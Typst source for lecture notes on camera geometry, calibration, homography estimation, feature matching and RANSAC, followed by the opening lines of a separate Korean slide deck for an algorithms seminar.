bold(m) tilde.eq P bold(M_c)
&= mat(-f, 0, u_0, 0;
0, -f, u_0, 0;
0, 0, 1, 0) bold(M_c) \
&= mat(K, bar.v, bold(0)) #h(1mm) bold(M_c) \
&= K mat(I_3, bar.v, bold(0)) #h(1mm) bold(M_c) \
&= K mat(I_3, bar.v, bold(0)) #h(1mm) G bold(M) \
&= underbrace(K, "intrinsic \n parameters") underbrace(mat(I_3, bar.v, bold(0)), "projective \n normalized \n coordinates") underbrace(mat(R_(3 times 3), bold(t); bold(0)^T, 1;), "coordinate \n change") bold(M) \
&= K mat(R, bar.v, bold(t)) bold(M)
$
and therefore, we can write the #emph(text(blue)[general camera matrix]) $P$ as:
$
P = K mat(R, bar.v, bold(t))
$
//The #emph(text(blue)[camera calibration]) is the process used to do the estimation of both intrinsics and extrinsics parameters.
When the camera coordinates don't coincide with the world coordinates, it is possible to normalize the coordinates of a pixel $bold(m)$ into a pixel $bold(m') = K^(-1) bold(m)$, just by knowing $K$:
$ bold(m) &tilde.eq P bold(M) \
bold(m) &tilde.eq K mat(R, bar.v, bold(t)) bold(M) \
K^(-1) bold(m) &tilde.eq K^(-1) K mat(R, bar.v, bold(t)) bold(M) \
K^(-1) bold(m) &tilde.eq K^(-1) K mat(R bar.v bold(t)) bold(M) \
bold(m') eq.def K^(-1) bold(m) &tilde.eq underbrace(mat(R bar.v bold(t)), "P") bold(M) $
//$ bold(m') = K^(-1) bold(m) = K^(-1) P bold(M) = X X^(-1) mat(R bar.v bold(t)) bold(M) = mat(R bar.v bold(t)) bold(M) $
and it follows that in this case $P = mat(R bar.v bold(t))$.
== Center of projection coordinates
A generic camera matrix $P$ can be rewritten according to its rows as:
$ P = vec(bold(p_1)^T, bold(p_2)^T, bold(p_3)^T) $
and the prospective equation can be rewritten as:
$
bold(m) tilde.eq P bold(M) = vec(bold(p_1)^T, bold(p_2)^T, bold(p_3)^T) bold(M) = vec(bold(p_1)^T bold(M), bold(p_2)^T bold(M), bold(p_3)^T bold(M))
$
so, the coordinates of a pixel in the plane becomes, in Cartesian coordinates:
$
cases(
u = (bold(p_1)^T bold(M)) / (bold(p_3)^T bold(M)),
v = (bold(p_2)^T bold(M)) / (bold(p_3)^T bold(M))
)
$
But what about $bold(C)$? It is the 3D point that is at the origin of the camera coordinate system
//($bold(tilde(C)) = mat(0,0,0)^T in RR^3$)
and lies on the focal plane $cal(F)$. Homogeneous coordinates are nice to represent all the points made exception for $bold(C)$ because, it represents a point in the Euclidean space with a specific location. Homogeneous coordinates, on the other hand, are used to represent points in the projective space, which extends Euclidean space to include points at infinity and facilitate projective transformations. It doesn't make sense to represent $C$ as a point at infinity or as a point that can be scaled arbitrarily, therefore, it is represented using Cartesian coordinates.
$cal(F)$ (made of all the points which are projected at the infinite, except for $bold(C)$) is defined by the equation $bold(p_3)^T bold(M) = 0$, while the axes $u = 0$ and $v = 0$ correspond to the projection on the image plane $cal(Q)$, of the planes $bold(p_1)^T bold(M) = 0$ and $bold(p_2)^T bold(M) = 0$ respectively.
#figure(
image("img/geometric-determination-COP.png", width: 60%),
caption: [
Geometric determination of the center of projection.
],
)
To find $bold(C)$ we have to solve the system that express the intersection of the $3$ planes at that point:
$
cases(
bold(p_1)^T bold(C) = 0,
bold(p_2)^T bold(C) = 0,
bold(p_3)^T bold(C) = 0
)
#h(1cm)
<==>
#h(1cm)
P bold(C) = bold(0)
$
If we rewrite our generic $P$ as
$ //bold(C) = vec(bold(tilde(C)), 1), #h(1cm)
P = mat(Q_(3 times 3), bar.v, bold(q))
$
and express $bold(C)$ as
$
bold(C) = vec(bold(tilde(C)), 1)
$
then
$
P bold(C) &= bold(0) \
mat(Q, bar.v, bold(q)) vec(bold(tilde(C)), 1) &= bold(0) \
Q bold(tilde(C)) + bold(q) &= bold(0)
$
which leads to the Cartesian coordinates of the COP:
$ bold(tilde(C)) &= - Q^(-1) bold(q) $
//The center of projection is a fixed point in space with a specific location, and it doesn't make sense to represent it as a point at infinity or as a point that can be scaled arbitrarily. Therefore, it is typically represented using Cartesian coordinates rather than homogeneous coordinates
== Equation of a ray
Given two points $bold(M_1)$ and $bold(M_2)$, the convex combination of $bold(M_1)$ and $bold(M_2)$, gives you any point in the segment $overline(bold(M_1) bold(M_2))$:
$ alpha bold(M_1) + (1 - alpha) bold(M_2) " with" alpha in #h(0.1cm) ]0,1[ $
To represent any point on the line that passes through $bold(M_1)$ and $bold(M_2)$, a general linear combination can be used:
$ alpha bold(M_1) + beta bold(M_2) " with" alpha, beta in RR $
The #emph(text(blue)[optical ray]) of a point $bold(m)$ is the line that contains $bold(C)$ and $bold(m)$ itself. It corresponds to the infinite set of 3D points
$ {bold(M) : bold(m) tilde.eq P bold(M)} $
and it contains all the points $bold(M)$ in the Euclidean space of which $bold(m)$ is the projection onto the image plane.
By definition, $bold(C)$ is in the set#footnote[$bold(m)$ is not an element of the set, it is a point in the image plane, not in the Euclidean space.]. Another point contained in the set is the ideal point $bold(M_infinity)$ defined as
$
M_infinity = vec(Q^(-1) bold(m), 0) " (the last element is " 0 "because it lies at " infinity ")"
$
We can see that $M_infinity$ is projected into $bold(m)$ because given a generic $P = mat(Q, bar.v, bold(q))$, $P bold(M_infinity)$ is
$ P bold(M_infinity) = underbrace(Q Q^(-1), "I") bold(m) + 0 bold(q) = bold(m) $
In homogeneous coordinates, it is
possible to write a parametric equation of the optical ray as a linear combination of $bold(C)$ and $bold(M_infinity)$:
$ bold(M) = bold(C) + lambda vec(Q^(-1) bold(m), 0), #h(1cm) lambda in RR union infinity $
//which in Cartesian coordinates is equivalent to:
//$ bold(tilde(M)) = bold(tilde(C)) + lambda vec(Q^(-1) bold(m)) $
Optical ray equations are the same for projectors and lasers as well. Given $Q$ and $bold(q)$ associated to the camera (projector) matrix $P$ obtained from the process of calibration, it is possible to compute $bold(M)$ in case the equation of the projection plane is known.
#figure(
image("img/projector.png", width: 40%),
caption: [
Projection of the point $bold(M)$ on a plane.
],
)
== Camera calibration
There is a process called #emph(text(blue)[camera calibration]), that allows us to estimate both the matrix of the intrinsic parameters $K$ and the matrix of the extrinsic parameters $mat(R, bar.v, bold(t))$.
We know the coordinates of $n$ 3D points $bold(M_i)$ (#emph(text(fill: blue)[calibration points])) and their projections $bold(m_i) = P bold(M_i) #h(0.25cm) (i = 1, ..., n)$ on the image plane. Knowing these points allows us to estimate the unknown parameters of $P$ (assuming that we don't change the configuration or the position of the camera), which means knowing where every 3D point of the world will be projected in our camera.
//#figure(
// image("img/calibration-object.png", width: 40%),
// caption: [
// A calibration object.
// ],
//)
Usually the $bold(M_i)$ points are chosen from a 2D checkerboard (it is very easy to detect its corners). Multiple images of the checkerboard are taken in different positions, keeping the camera fixed and translating and rotating the checkerboard, simulating the motion of the camera (same $K$, different $R$ and $bold(t)$ for each picture).
#figure(
image("img/checkerboard-calibration.png", width: 40%),
caption: [
calibration through a checkerboad.
],
)
The calibration operation requires pixel precision. Usually, $tilde 30 slash 40$ images are enough.
It is preferable to don't use JPEG images because, this format has compression and, compression destroys the smaller details. We need instead, to be as precise as possible!
We want to find a $P$ such that the following quantity is _minimized_:
$ sum_(i=1)^n || bold(m_i) - P bold(M_i) || $
There exist different calibration methods, the most famous are:
- Direct calibration (camera parameters are estimated) [Caprile and Torre]#footnote( "https://link.springer.com/article/10.1007/BF00127813" );
- Estimate perspective projection matrix [Faugeras 1993]#footnote("https://mitpress.mit.edu/9780262061582/three-dimensional-computer-vision/");
- Zhang's method[2000]#footnote("https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/tr98-71.pdf").
#pagebreak()
= Homography computation
== Eigenvalues and eigenvectors recap
$
A_(n times n) bold(v) = lambda bold(v) #h(1cm) lambda in RR
$
all the $lambda_i$ values that solve this equation are called _eigenvalues_, all the $bold(v_i)$ that solve this equation are called _eigenvectors_.
$A$ can be decomposed into
$
A = Q^T D Q
$
where
$
D = mat(lambda_1, 0, ..., ..., 0;
0, lambda_2, dots.down, dots.v, dots.v;
dots.v, dots.down, dots.down, dots.down, dots.v;
dots.v, dots.v, dots.down, lambda_(n-1), 0;
0, ..., ...., 0, lambda_n)
#h(1cm)
"and"
#h(1cm)
Q = mat(bold(v_1), bold(v_2), ..., bold(v_n))
$
$D$ is the diagonal matrix and Q is orthogonal (square matrix whose columns are orthogonal unit vectors)
If the matrix $A$ is invertible ($exists A^(-1)$), then every eigenvalue $lambda_i eq.not 0 #h(0.2cm) (i in {1, ..., n})$. Otherwise, if $A$ is not invertible $(exists.not A^(-1)$) it exists at least a $lambda_i$ such that $lambda_i = 0 "with" i in {1, ..., n}$.
If it exists, $A^(-1) = (Q^T D Q)^(-1) = Q^T D^(-1) Q$.
In case $exists lambda_i = 0$, we want to put on the right side of $Q$, all the columns $bold(v_i)$ such that their $bold(v_i) = bold(0)$.
$
Q = mat(dots.v, dots.v, ..., dots.v, 0, ..., 0;
dots.v, dots.v, ..., dots.v, 0, ..., 0;
dots.v, dots.v, ..., dots.v, 0, ..., 0;
dots.v, dots.v, ..., dots.v, 0, ..., 0)
$
== Plane to plane mapping
A first real world application of the homography is the *plane to plane mapping*, the task to map the _point of a plane_ $bold(Pi)$ into the _image plane_.
This operation can be done by a mapping function called *homography* ($H_(Pi)$).\
Starting from the equation $bold(m) tilde.eq P bold(M)$ we obatain that $bold(m') tilde.eq H_Pi bold(m)$:
$
vec(u,v,1) tilde.eq mat(
p_(1,1), p_(1,2), p_(1,3), p_(1,4);
p_(2,1), p_(2,2), p_(2,3), p_(2,4);
p_(3,1), p_(3,2), p_(3,3), p_(3,4);
)
vec(x, y, 0 ,1) =
mat(
p_(1,1), p_(1,2), p_(1,4);
p_(2,1), p_(2,2), p_(2,4);
p_(3,1), p_(3,2), p_(3,4);
)
vec(x, y,1)
\
"Since we are working in 2D the z value is 0"
$
Note that we can map any plane to any plane using $H_Pi(3 times 3)$ matrix.
This means that we can compose homgraphy to map an image throught diffetent planes.
Since I got a $3 times 3$ matrix I have $8$ degrees of freedom.
To compute $H_Pi$ we are going to use a set of $i$ known points $(bold(m)', bold(m))$:
$
bold(m)_i ' &tilde.equiv H_Pi bold(m)_i #h(0.5cm) \
&arrow.t.b.double " since " {(m, m') | bold(m) in Pi and bold(m') in "image plane"}\
bold(m)_i ' × H_Pi bold(m)_i = 0 #h(0.5cm) \
&arrow.t.b.double "since " bold(m)_i ' " is parallel to " H_Pi \
"vec"(&[bold(m)_i ']_times H_Pi bold(m)_i) = 0 #h(0.5cm) \
&arrow.t.b.double "vectorize the operation" \
(bold(m)_i ^T ×.circle [bold(m)_i ']_times) "vec"(H_Pi) = 0 \
$
Let' s define $A= bold(m)_i ^T times.circle [bold(m)_i ']_times$ which is a matrix of rank 2(only 2 equation are linearly indipendent) so given $n$ points we are going to obtain $2n$ equations, for this reason we need at least *4* points to compute $H_Pi$.
$
A = vec(
bold(m)_1 ^T times.circle [bold(m)_1 ']_times,
bold(m)_2 ^T times.circle [bold(m)_2 ']_times,
bold(m)_3 ^T times.circle [bold(m)_3 ']_times)
$
Sometimes can be usefull to rescale the coordinates using a scale factor $T slash T'$.
== Features detection
We need at least $4$ points to compute $H_Pi$ and so, we need to find to find a unequivocal correspondence between at least $4$ points of $Pi$ and $4$ points of the image plane.
This process can be thinked of as, finding the correspondences between the current image (from the camera) and some other visual information (from a database). //Some semantic information has to be extracted from the images.
To find the correspodences between points, we compute #emph(text(blue)[local descriptors]) using _feature detection_ algorithms.
#slantedColorbox(
title: [Local Descriptors],
color: "blue",
radius: 2pt,
width: auto
)[
_Local descriptor_ are arrays that describe a specific point in an image so that, if an analogous array in another image is found, it may be assumed that, the two points described by the two arrays are exactly the same. This assumption by the way, may not always be correct.//(it is a projection of the same point that I have in the real world).
]
More formally, in computer vision we need to distinguish between keypoints and descriptors:
//https://web.archive.org/web/20201009073033/https://sites.google.com/site/eccv12features/
//https://answers.opencv.org/question/37985/meaning-of-keypoints-and-descriptors/
A #emph(text(blue)[key point]) (also #emph(text(blue)[local feature]) or feature point) is a pixel coordinate $(u, v)$ togheter with a _scale factor_ $s$ and an _orientation_ $o$:
$
bold(K_i) = vec(u_i, v_i, s_i, o_i)
$
a #emph(text(blue)[descriptor]) is an array of values which is the signature of the key point, that is, a representation of the intensity/color function of the point. It is used to compare the similarity between features:
$
bold(f)_i = vec(alpha_1, dots.v, alpha_t)
$
where $alpha_i$ depends on the representation defined by a #emph(text(blue)[feature detection algorithm]). By the way, according to the algotithm, there are various ways to represent a descriptor, such as:
- block of pixels;
- arrays of floats/bytes;
- binary arrays.
#slantedColorbox(
title: [Feature detection algorithm],
color: "green",
radius: 2pt,
width: auto
)[
A feature detector (extractor) is an algorithm taking an image
as input and outputting a set of regions: local features (key points).
Local features are _regions_, i.e. in principle arbitrary sets of pixels, not
necessarily contiguous, which are at least:
- distinguishable in an image regardless of viewpoint/illumination, scale, rotation;
- robust to occlusion: must be local;
- must have a discriminative neighborhood: they are “features”.
Example of detectors to extract local descriptors are: _SIFT, SURF, BRIEF, BRISK, FREAK _
#figure(
image("img/sift.png", width: 60%),
caption: [
Desctiptor example using _Sift_
],
)
]
To identify the local descriptors, we proceed in two main steps:
1. #emph(text(blue)[Feature detection]): we extract the features of interest (edges, corners, ...);
2. #emph(text(blue)[Feature description]): we associate a _unique descriptor_ to each feature (it characterizes the feature and allows to distinguish it from other features).
In this way we can identify the key points (feature points) that represent the set of points used to compute the _homography matrix_ $H_Pi$.
== Feature matching
Once we have extracted the features $bold(K_i)$ from the camera image and have computed their local descriptors $bold(f_i)$, we do the same for the features $bold(K'_i)$ and their local descriptors $bold(f'_i)$ of the database image.
#figure(
image("img/key_faeture.png", width: 60%),
caption: [
Key points (
#emph(text(red)[$circle.big$])
)
and descriptors (
#emph(text(green)[$square.big$])
and
#emph(text(green)[$circle.big$])
)
],
)
If we take two descriptors, for example $bold(f_1)$ and $bold(f'_1)$ and compute their difference $norm(bold(f_1) - bold(f'_1))$, we could argue that if the result is lower than a threshold $epsilon$, the two descriptors describe the same key point. In practice, we don't do this because it is very difficult to find a good $epsilon$; its value could be too high or too low and, taking into account also the presence of noise, there could be a lot of false positive or false negative matches.
Then instead, to find the key points who really match the local descriptors, we compute the distance $d_(i,j)$ between each pair $(bold(f_i), bold(f'_j))$ of descriptors and, we order the results in ascending order; then we compute the ratio $r$ between the best two matches and, compare it with a threshold $tau$ that generally is $0.6$. If $r < tau$ then we can say that we have found a correct match (an #emph(text(blue)[inlier])) otherwise we have a wrong match (an #emph(text(blue)[outlier])).
The nitty-gritty is that, a key point should be uniquely distinguishable among all the other key points and, if $r > tau$, this doesn't hold anymore. The value of $tau$ determines if there is a match or not, in combination with the quality of the images and, it represents a crucial factor. The fact that we use a ratio between the best two matches excludes the possibility to have multiple matches (thing that could have happened instead if, we would have compared directly each descriptor $bold(f_i)$ and $bold(f'_j)$ with a threshold $epsilon$, that is: $norm(bold(f_i) - bold(f'_j))$ < $epsilon$).
This procedure is also sensible to noise and for this reason, in images with high levels of noise, there could be a lot of outliers.
Once we have determined the key points, we can finally compute the homography $H_Pi$.
=== Key points computation example
#figure(
image("img/feature-matching.png", width: 70%),
caption: [
feature matching example \ (notice that in this case the symbols #emph(text(red)[$circle.big$]) and #emph(text(green)[$square.big$]) are used to represent outliers and inliers respectively)
],
)<feature-matching>
Considering the @feature-matching, for each descriptor $bold(f_i)$ of the left picture, we compute the difference with all the descriptors $bold(f'_j)$ of the right picture. For example, we consider the computations needed to find a correspondence for the points described by $bold(f_1)$ and $bold(f_8)$. Once the distances have been computed, we order them in ascending order and obtain:
$
d_(1,2) &= norm(bold(f_1) - bold(f'_2)) #h(5cm) d_(8,6) &&= norm(bold(f_8) - bold(f'_6))
\ &< #h(5cm) &&< \
d_(1,1) &= norm(bold(f_1) - bold(f'_1)) #h(5cm) d_(8,5) &&= norm(bold(f_8) - bold(f'_5))
\ &< #h(5cm) &&< \
\ &dots.v #h(5cm) &&dots.v \
\ &< #h(5cm) &&< \
d_(1,7) &= norm(bold(f_1) - bold(f'_7)) #h(5cm) d_(8,3) &&= norm(bold(f_8) - bold(f'_3))
\ &< #h(5cm) &&< \
d_(1,6) &= norm(bold(f_1) - bold(f'_6)) #h(5cm) d_(8,4) &&= norm(bold(f_8) - bold(f'_4)) \
$
finally for each sequence, we compute the ratio between the best two matches and compare it with $tau = 0.6$:
$
d_(1,2) / d_(1,1) = 0.35 < 0.6
#h(5cm)
d_(8,6) / d_(8,5) = 0.8 > 0.6
$
so, we can say that there is match between the key points represented by the descriptors $bold(f_1)$ and $bold(f'_2)$ and, that there are no matches for the point represented by the descriptor $bold(f_8)$.
#figure(
grid(
columns: (auto, auto),
rows: (auto, auto),
gutter: 0.1em,
[ #image("img/d_1x.png", width: 100%) ],
[ #image("img/d_8x.png", width: 100%) ]
),
caption: [\ On the left: the relation between the points $bold(f'_x)$ and their distance from $bold(f_1)$.\ On the right: the relation between the points $bold(f'_x)$ and their distance from $bold(f_8)$.]
)
//Threshold can change according to the images because, there could be very low illumination conditions, there could be occlusion, some images can be of very different qualities ...
== Noise and compression
As mentioned above, the feature matching computation is sensible to strong _noise_ levels that, generate false matches.
Unfortunately, noise and compression alter descriptors and key points (they change orientation, scale, locations); also, compression makes disappear the smallest local features and so, also the number of local descriptor is reduced.
The fact that compression also changes the position of the key points is a problem for 3D estimation because it reduces the level of precision when computing an homography.
Depending on the kind of descriptors that are used, there could be different problems. For example, SIFT is invariant to rotation but, only for angles of maximum $30°$, if the rotation introduced by the noise has a bigger angle, then features will not match anymore.
#figure(
image("img/compression.png", width:90%),
caption: [
Effects of image compression.
],
)
We have seen that if we have an image $I$ taken with our camera and a query image $I_s$, we can look for a common object between the two regardless of rescaling,
occlusions, rotations, etc...
We can do so by computing (for example) SIFT key points and descriptors on $I$ and $I_s$, obtaining the sets
$
{(bold(k_i), bold(f_i)) | bold(K_i) = mat(u_i, v_i, s_i, o_i)^T}
#h(1cm) "and" #h(1cm)
{(bold(k^s_i), bold(f^s_i)) | bold(K^s_i) = mat(u^s_i, v^s_i, s^s_i, o^s_i)^T}
$
respectively. Then we match the descriptors $bold(f_i)$ to $bold(f^s_j)$ so that it is possible to build a set of couples $(bold(k_i), bold(k^s_j))$. We assume without loss of generality that, the i-th key point in $I$ is matched with the i-th key point in $I_s$ so that the set is made of couples of the form $(bold(k_i), bold(k^s_i))$.
Then we compute the affine transform (the homography) $H$ that satisfies the relation
$
vec(v_i, u_i, 1) = H vec(v^s_i, u^s_i, 1)
$
and if
$
norm(vec(v_i, u_i, 1) - H vec(v^s_i, u^s_i, 1)) < delta
$
for a certain threshold $delta$, the object is found.
The last step means that we are trying to match/make fit the object in $I_s$ with the object in $I$ through an affine transformation $H$ that rotates and scales $I_s$.
If the two roughly fit with respect to a delta $delta$, then we have found the object.
The problem is that the two images can be really noisy and the position of the key points could be moved. To solve this problem, we could adopt some more intelligent strategies, the one that we see are linear regression and the RANSAC algorithm.
=== Linear regression
#emph(text(blue)[Linear regression]) is a supervised learning problem that consists of fitting an $(n+1)$-dimensional hyperplane (in $2$ dimensions a line) to a set of $n$ points ${(bold(x)_1, y_1), ..., (bold(x)_N, y_N)}$ where $ bold(x)_i = mat(x_(i,1), ..., x_(i,n))^T$. We want to find the set of parameters $theta_1, ..., theta_n$ that define the hyperplane which fits all these points.
The plain can be defined as:
#text(size: 13pt)[$ y_i = theta_1 x_(i,1)+theta_2 x_(i,2)+ ... + theta_n x_(i,n) $]
and it corresponds to the _linear model_ of our data; it is corrupted by noise and in fact #text(size: 13pt)[$y_i eq.def overline(y_i) + e_y_i$] and #text(size: 13pt)[$x_(i,j) eq.def overline(x_(i,j)) + e_x_(i,j)$] where #text(size: 13pt)[$overline(y_i)$] and #text(size: 13pt)[$overline(x_(i,j))$] are noise free and, #text(size: 13pt)[$e_y_i$] and #text(size: 13pt)[$e_x_(i,j)$] are the noises added to them.
Considered:
$
bold(x_i) =
underbrace(
vec(x_(i,1), dots.v, x_(i,n)),
"independent \n variables"),
underbrace(
y_i,
"dependent \n variable"),
#h(0.25cm)
bold(hat(theta)) = underbrace(
vec(theta_1, dots.v , theta_n ),
"Estimated \n model \n parameters")
$
it can be rewritten as
#text(size: 13pt)[$ y_i tilde.eq bold(hat(theta))^T bold(x)_i $]
and we're using the approximately equal sign "$tilde.eq$", because we can't be absolutely sure that all the data lie completely on a single line/plane.
In practice we have /*the error $e_i$ and*/ $n$ weights $theta_1, ..., theta_n$ that must be tuned to minimize a loss function in a way such that:
$ y_i tilde.eq theta_1 x_(i,1)+theta_2 x_(i,2)+ ... + theta_n x_(i,n) /* e_i */ $
which corresponds to fitting the hyperplane to the set of data points.
#figure(
image("img/linear-regression.png", width:90%),
caption: [
\ On the left: linear regression in a $2$D space.
\ On the right:linear regression in a $3$D space.
\ (Picture taken from the book Machine Learning Refined by Watt, Borhani, Katsaggelos)
],
)
To fit the hyperplane we can use different approaches:
- #emph(text(blue)[LS-estimator (Least Square-estimator)]): we want to find the parameter $hat(theta)$ such that, the #emph(text(blue)[mean square error (MSE)]) function
$ sum_(i)norm(y_i - bold(hat(theta))^T bold(X_i))^2 $
is minimized.
$
y_i tilde.eq bold(hat(theta))^T bold(x_i)
" is equivalent to "
bold(hat(theta))^T bold(x_i)^T bold(hat(theta)) = y_i
$
which implies that the overdetermined system
$
vec(bold(x_1)^T, dots.v, bold(x_n)^T) bold(hat(theta)) = vec(y_1, dots.v, y_n)
$
is equivalent to
$ X hat(theta) = bold(y) $
We can multiply both parts of the equation for $X^+$, the pseudo inverse of $X$ and get
$ bold(hat(theta)) = X^+ bold(y) $
which is called the _least square solution_.
//More specific, this problem corresponds to the estimation of a line that "fits" all the points in #emph_blue[continuare guardando dal video ...]
By the way, this approach is too simple and, the outliers still have an high impact on the computation of the paramter $bold(hat(theta))$.
In the LS estimate, we minimize the mean of of the square:
$ min( sum_i norm(y_i - bold(hat(theta))^T bold(x)_i )^2 ) $
which is equivalent to:
$ min sum_i r_i^2 eq.triple min EE[r_i^2] $
#figure(
image("img/LS.jpg", width: 40%),
caption: [
A representation of the mean square error approach, in red the _square error_ (distance from the line) and in the center we can see the mean.
]
)
An approach to reduce the effect of the outliers on the estimation is the #emph(text(blue)[LMedS (Least Median Square)]) where the median of the residuals is computed instead of the mean: $ min { "med"_i r_i^2} $
The LMedS algorithm is the following: given a set of $N$ samples
+ take a random set of $m$ samples ($m < N$);
+ compute the LS parameter estimate on the subset;
+ compute the median
$ "med"_i { (y_i - bold(hat(theta))^T bold(x)_i )^2 } $
+ iterate stes 1.-3. $t$ times and take the estimation with the minimum median.
//http://www-sop.inria.fr/odyssee/software/old_robotvis/Tutorial-Estim/node24.html
- #emph(text(blue)[M-estimator (Maximum likelihood-like estimator)]): An alternative is to modify the error function using a _loss/penalty function_ $rho$ (which has to be symmetric, subquadratic and having minimum in $bold(0)$) to obtain a more robust estimation:
$ "min" sum_i rho(y_i - theta^T bold(x)_i) $
An example of $rho$ is the Cauchy function
$ rho(x) = beta^2 / 2 log(1 + x^2 / beta^2) $
//that, affects the estimation more from the small error insteed of big ones.
- #emph(text(blue)[R-estimator (Resistant estimator)]): suppose that we order residuals
$ r_i= y_i-bold(hat(theta))^T bold(x)_i $
such that the placement of residuals $r_i$ is $R_i$.
Then we want to minimize: $ min(sum_i a_n (R_i) r_i) $ where $a_n$ is a monotonic decreasing function such that $ sum_i a_n (R_i)=0 $
=== RANSAC
#emph_blue("RANSAC (Random Sample Consensus)") is a widely-used iterative algorithm for robust model estimation that basically, subsample randomly couple of matches with the objective to leave out outliers. This process is repeated multiple times untill the desired result is obtained.
Given a set of $N$ points:
+ Take a random subset of $m$ samples ($m < N$);
+ Compute the least square parameter estimate on the subset using a robust estimation technique (e.g.: _LMedS_);
+ Compute the numbers of _inliers_ over the entire set (with cardinality N), i.e.: the points that are distant at most $epsilon$ from the regression line: $norm(y_i-m x_i-q)^2 < epsilon$;
+ Iterate step 1.-3. until the number of _inliers_ is greater then a threshold $T$ or, for a finite number of iterations;
+ Take the best least square estimation and recompute the parameters only on the set of inliers. //(i.e. on the whole set of points such that :$norm(y_i - m x_i - q)^2 < epsilon$).
//Summing up, in RANSAC you take a random subset of the samples and compute the least square parameter $bold(hat(theta))$ and then, you compute the number of outliers that you get from the model. If you have a low amount of outliers, then you have a good sample, otherwise you can take another random subsample and retry. You proceed this way untill you're satisfied. The final estimate is refined since outliers are excluded from the estimation process.
#figure(
image("img/RANSAC.png", width: 60%),
caption: [
RANSAC example with various iterations. The best iteration is the one corresponding to the green line ($79$ inliers), which is the one that approximate better the ground truth line (represented for convention with $-1$ inliers)
],
)
==== RANSAC homography estimate
RANSAC can be used to estimate the homography $H_Pi$ and, the process is mostly the same as the one described above. In this case, the algorithm works on the couple of points from the two images.
+ Compute the set of possible matches (cardinality $N$) using any feature detection algorithm (i.e. SIFT);
#figure(
image("img/RANSAC_SIFT.png", width: 70%),
caption: [
Match points obtained using SIFT.
],
) <matches>
- Select a random subset of points (cardinality $m < M$) from the set of all the possible matches computed in 1.;
#figure(
image("img/RANSAC_subsamples.png", width: 50%),
caption: [
Subsample set of size 5 over a set of size 51.
],
)
- Compute the homography $H$ over the subsampled data using linear regression;
#figure(
image("img/RANSAC_regression.png", width: 50%),
caption: [
The regressor line computed over the subsamplded data
],
)
- Compute the number of inliers $n$ (i.e.: the points such that $|| m'_i - H m_i||^2 < epsilon $);
#figure(
image("img/RANSAC_trashold.png", width: 50%),
caption: [
The identification of inliers (blue dots) and outliers (red dots) over the entire data using an $epsilon=25$.
],
)
- Repeat until the max number of iterations is reached or, the inliers' threshold is reached. The number of iterations at the end is $k$.
#align(
center,
"it 1: " + $H_1 --> $ + "#inliers " + $n_2$ + "\n" +
"it 2: " + $H_2 --> $ + "#inliers " + $n_2$ + "\n" +
$dots.v$ + "\n" +
"it k: " + $H_k --> $ + "#inliers " + $n_k$
)
+ Take $H_k$ s.t. $k = arg max_i n_i$;
+ Finally recompute $H_pi$ on the inliers set.
At the end the object is found if $"#inliers"$ is greater than a threshold $T_("found")$.
#figure(
image("img/RANSAC_final_match.png", width: 80%),
caption: [
The inliers above and outliers below.
],
)
The accuracy of the homography estimation depends on:
- the tresholds:
- $epsilon$: its accuracy tells us if a point is an inlier or an outlier;
- low value $=>$ more robust matches but less inliers;
- high value $=>$ less robust matches but more inliers. Notice that these matches are less robust, so in the end there is a risk of getting more false positive matches.
- $T_"found"$: its accuracy tells us the number of inliers founded at the end of the algorithm;
- low value $=>$ faster but low confidence;
- high value $=>$ high computational cost with high confidence.
- the number of iterations and confidence:
- more iterations $=>$ more inliers but also more computational demanding;
- more confidence $=>$ more inliers but also more computational demanding;
- the more keyponts the more matches have to be done, matches implies iterations and the more iterations the more computation has to be done.
#figure(
grid(
columns: (auto, auto),
rows: (auto, auto),
gutter: 0.1em,
[ #image("img/iterations-confidence-inliers.png", width: 60%) ],
[ #image("img/iterations-confidence-computational-time.png", width: 60%) ]
),
caption: [\ On the left: the number of inliers as a function of the number of iterations and the confidence.\
On the right: the execution time as a function of the number of iterations and the confidence]
) <trade-off-iterations-confidence>
So, in the end, a trade-off between the number of iterations and the confidence must be considered.
RANSAC improve the matching of local features despite variations in the viewpoint, illumination, and occlusions.
#figure(
image("img/RANSAC_model_comparison.png", width: 50%),
caption: [
Comparison between the _linear_ model and the the _RANSAC_ model of @matches
],
)
==== The environment plays a significant role
Robust target recognition and tracking is
challenging to obtain due to several factors:
- natural and artificial environmental occlusions;
- false matches as a consequence of projected shadows;
- insufficient features recognition because of brightness variation and lightning saturation.
Resulting on:
- Unstable 3D model registration and tracking;
- 3D model oscillation and wrong positioning when user’s viewpoint is changed.
Possible solutions to this problem are:
- acquire a wide and diversified dataset;
- focus on multiple small and detailed targets;
- use 3D object targets.
#figure(
grid(
columns: (auto, auto, auto, auto),
rows: (auto, auto, auto, auto),
gutter: 0.1em,
[ #image("img/8-am.png", width: 70%) ],
[ #image("img/9-am.png", width: 70%) ],
[ #image("img/12-am.png", width: 70%) ],
[ #image("img/4-pm.png", width: 70%) ]
),
caption: [Same picture taken under different enviromental conditions, during the day,]
) <enviromental-conditions>
=== 3D object Target
It is important to notice that, in the end, when we are implementing a VR app, the homography estimation used to map the points will be unstable for tracking, as consequence of a change in the user's view point because, it moves the mobile phone and there can be model oscillations.
A possible solution to this problem is the #emph_blue[3D object target] which, allows us to recognize and track particular objects in the real world based on their shape.
It extends the capabilities of recognition and
tracking of complex 3D Objects and is recommended for monuments, statues, industrial objects, toys and tools.
It requires the 3D objects to be rigid, to present a sufficient number of stable surface features and to be fixed with respect to the environment.
It is implemented by using Object Recognition algorithms
such as the Simultaneous Localization and Mapping (SLAM).
#figure(
grid(
columns: (auto, auto, auto),
rows: (auto, auto, auto),
gutter: 0.1em,
[ #image("img/3d-obj-1.png", width: 80%) ],
[ #image("img/3d-obj-2.png", width: 80%) ],
[ #image("img/3d-obj-3.png", width: 80%) ],
),
caption: [3D object target example taken from vuforia.com]
) <3d-obj-target>
#pagebreak()
|
|
https://github.com/kiwiyou/algorithm-lecture | https://raw.githubusercontent.com/kiwiyou/algorithm-lecture/main/advanced/01-constructive.typ | typst | #import "@preview/cetz:0.1.2"
#import "@preview/algorithmic:0.1.0"
#import "../slide.typ"
#show: slide.style
#show link: slide.link
#show footnote.entry: slide.footnote
#let algorithm(..args) = text(font: ("linux libertine", "Pretendard"), size: 17pt)[#algorithmic.algorithm(..args)]
#let func(body) = text(font: ("linux libertine", "Pretendard"))[#smallcaps[#body]]
#align(horizon + center)[
= 알고리즘 중급 세미나
01: 해답의 구성
#text(size: 0.8em)[
연세대학교 전우제#super[kiwiyou] \
2023.11.24.r1
]
]
#slide.slide([백트래킹])[
